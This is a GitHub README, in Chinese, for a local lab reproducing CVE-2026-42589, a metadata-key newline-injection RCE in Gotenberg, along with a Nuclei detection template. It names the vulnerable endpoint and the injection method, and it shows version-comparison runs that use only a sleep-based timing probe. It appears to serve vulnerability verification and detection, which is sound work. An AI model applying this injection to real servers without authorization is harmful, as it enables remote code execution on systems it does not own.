fineman999/POC_CVE-2026-42589
GitHub: fineman999/POC_CVE-2026-42589
针对 Gotenberg CVE-2026-42589 换行符注入 RCE 漏洞的本地复现环境与 Nuclei 检测模板。
Stars: 1 | Forks: 0
# POC_CVE-2026-42589
针对影响 Gotenberg 的 `CVE-2026-42589` 的本地复现实验环境和 nuclei 模板草稿。
## 概述
`CVE-2026-42589` 是 Gotenberg 中的一个未授权远程代码执行漏洞,由以下位置的 metadata key 换行符注入引起:
```
POST /forms/pdfengines/metadata/write
```
受影响的 Gotenberg 版本在将用户可控的 metadata key 转发给 ExifTool 时,未拒绝控制字符。包含 JSON 转义换行符的 metadata key 可能会被分割为额外的 ExifTool 参数。
此实验环境用于验证:
- `gotenberg/gotenberg:8.29.1` 上的漏洞行为
- `gotenberg/gotenberg:8.31.0` 上的修复行为
nuclei 模板仅使用非破坏性的 `sleep 6` 时间检测。
## 参考资料
- GitHub 安全公告: https://github.com/gotenberg/gotenberg/security/advisories/GHSA-rqgh-gxv4-6657
- 修复版本: https://github.com/gotenberg/gotenberg/releases/tag/v8.31.0
- ExifTool 文档: https://exiftool.org/exiftool_pod.html
## 文件
- `docker-compose.yml`
- `docker-compose.latest.yml`
- `CVE-2026-42589.yaml`
- `manual_verify.py`
- `sample.pdf`
- `README.md`
## 漏洞测试
启动 Gotenberg `8.29.1`:
```
docker compose down -v
docker compose up -d
docker compose logs --tail=100 gotenberg
```
检查版本:
```
curl -s http://127.0.0.1:3000/version
```
手动原始 multipart 时间检测:
```
python3 manual_verify.py http://127.0.0.1:3000
```
预期的漏洞特征:
```
HTTP/1.1 500 Internal Server Error
TOTAL_TIME=6.xs
```
观察到的漏洞结果:
```
HTTP/1.1 500 Internal Server Error
TOTAL_TIME=6.300s
Internal Server Error
```
## 已修复版本对照
启动 Gotenberg `8.31.0`:
```
docker compose -f docker-compose.latest.yml down -v
docker compose -f docker-compose.latest.yml up -d
docker compose -f docker-compose.latest.yml logs --tail=100 gotenberg
```
检查版本:
```
curl -s http://127.0.0.1:3000/version
```
运行相同的手动时间检测:
```
python3 manual_verify.py http://127.0.0.1:3000
```
观察到的已修复版本结果:
```
HTTP/1.1 400 Bad Request
TOTAL_TIME=0.145s
At least one PDF engine cannot process the requested metadata, while others may have failed to convert due to different issues
```
## Nuclei
验证模板:
```
nuclei -duc -validate -t CVE-2026-42589.yaml
```
针对易受攻击的目标运行:
```
nuclei -duc -u http://127.0.0.1:3000 -t CVE-2026-42589.yaml
```
预期行为:
- `8.29.1`:在延迟的 `500` 响应后匹配
- `8.31.0`:不匹配
观察到的漏洞结果:
```
[CVE-2026-42589] [http] [critical] http://127.0.0.1:3000/forms/pdfengines/metadata/write
[INF] Scan completed in 6.245907708s. 1 matches found.
```
观察到的已修复版本结果:
```
[INF] Scan completed in 93.01425ms. No results found.
```
## 注意事项
- 本实验环境特意避免了文件写入、反弹 shell 和带外回调。
- 该模板检测的是行为,而不仅仅是版本号。
- 未使用真实世界目标。
- 请仅在您拥有或明确获得授权测试的系统上使用。
标签:Docker, Google, Go语言工具, Maven, Nuclei, PoC, 安全防御评估, 暴力破解, 漏洞验证, 版权保护, 请求拦截, 逆向工具